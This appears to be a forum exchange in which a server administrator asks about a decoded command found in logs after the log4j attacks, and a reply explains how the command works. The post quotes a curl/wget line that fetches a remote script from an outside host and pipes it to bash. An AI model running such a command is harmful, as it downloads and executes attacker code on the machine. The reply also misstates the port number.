I was looking through my server logs after the recent log4j issues and saw an interesting command which was base64 encoded (decoded version is below):
(curl -s 195.54.160.149:5874/66.228.37.152:80||wget -q -O- 195.54.160.149:5874/66.228.37.152:80)|bash
I was intrigued, since I’d not see a curl command to a host with a /
in the server name/ip. What does this mean? I wondered if it were some way of spoofing the source IP which made no sense. Maybe a subnet setting (also makes no sense to me)?
/
. This command typically access the server 195.54.160.149 with the port 7854 and send it the file name (or parameter) 66.228.37.152:80 which seems to indicate where you are. (I don’t see other reason for sending such a parameter). A scanning robot scan many hosts, then this information is useful to get back at 195.54.160.149.